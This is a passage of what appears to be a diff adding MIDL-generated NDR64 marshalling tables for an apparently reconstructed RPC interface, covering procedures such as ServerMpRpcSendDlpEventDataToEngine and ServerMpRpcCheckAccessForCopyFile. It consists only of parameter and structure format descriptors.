(NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 152 /* 0x98 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 160 /* 0xa0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 168 /* 0xa8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 176 /* 0xb0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 184 /* 0xb8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 192 /* 0xc0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 200 /* 0xc8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 208 /* 0xd0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 216 /* 0xd8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag2122_t __midl_frag2122 = +{ +/* *Struct_4334_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2123 +}; + +static const __midl_frag2121_t __midl_frag2121 = +{ +/* Proc215_ServerMpRpcSendDlpEventDataToEngine */ + { + /* Proc215_ServerMpRpcSendDlpEventDataToEngine */ /* procedure Proc215_ServerMpRpcSendDlpEventDataToEngine */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2123, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag2117_t __midl_frag2117 = +{ +/* Struct_4296_t */ + { + /* Struct_4296_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4296_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 56 /* 0x38 */ + } +}; + +static const __midl_frag2116_t __midl_frag2116 = +{ +/* *Struct_4296_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2117 +}; + +static const __midl_frag2114_t __midl_frag2114 = +{ +/* union_4280 */ + { + /* union_4280 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2226, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag2116, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag2113_t __midl_frag2113 = +{ +/* Struct_4314_t */ + { + /* Struct_4314_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4314_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2114 + }, + { + /* Struct_4314_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag2112_t __midl_frag2112 = +{ +/* *Struct_4314_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2113 +}; + +static const __midl_frag2111_t __midl_frag2111 = +{ +/* **Struct_4314_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2112 +}; + +static const __midl_frag2109_t __midl_frag2109 = +{ +/* Proc214_ServerMpRpcGetUpToDateInfo */ + { + /* Proc214_ServerMpRpcGetUpToDateInfo */ /* procedure Proc214_ServerMpRpcGetUpToDateInfo */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2111, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag2087_t __midl_frag2087 = +{ +/* Proc212_ServerMpRpcCheckAccessForCopyFile */ + { + /* Proc212_ServerMpRpcCheckAccessForCopyFile */ /* procedure Proc212_ServerMpRpcCheckAccessForCopyFile */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 88 /* 0x58 */ , /* Stack size */ + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 10 /* 0xa */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2164, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2364, + { + /* arg_5 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2364, + { + /* arg_6 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag2364, + { + /* arg_7 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* arg_8 */ /* parameter arg_8 */ + &__midl_frag2368, + { + /* arg_8 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + }, + { + /* arg_9 */ /* parameter arg_9 */ + &__midl_frag2367, + { + /* arg_9 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 72 /* 0x48 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 80 /* 0x50 */, /* Stack offset */ + } +}; + +static const __midl_frag2083_t __midl_frag2083 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag2076_t __midl_frag2076 = +{ +/* Struct_4208_t */ + { + /* Struct_4208_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4208_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 96 /* 0x60 */, + 0, + 0, + &__midl_frag2083, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag2075_t __midl_frag2075 = +{ +/* *Struct_4208_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2076 +}; + +static const __midl_frag2074_t __midl_frag2074 = +{ +/* Proc211_ServerMpRpcDlpDispatchAccessEvent */ + { + /* Proc211_ServerMpRpcDlpDispatchAccessEvent */ /* procedure Proc211_ServerMpRpcDlpDispatchAccessEvent */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2076, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag2066_t __midl_frag2066 = +{ +/* Proc210_ServerMpRpcQueryDevVolumeProtectionState */ + { + /* Proc210_ServerMpRpcQueryDevVolumeProtectionState */ /* procedure Proc210_ServerMpRpcQueryDevVolumeProtectionState */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 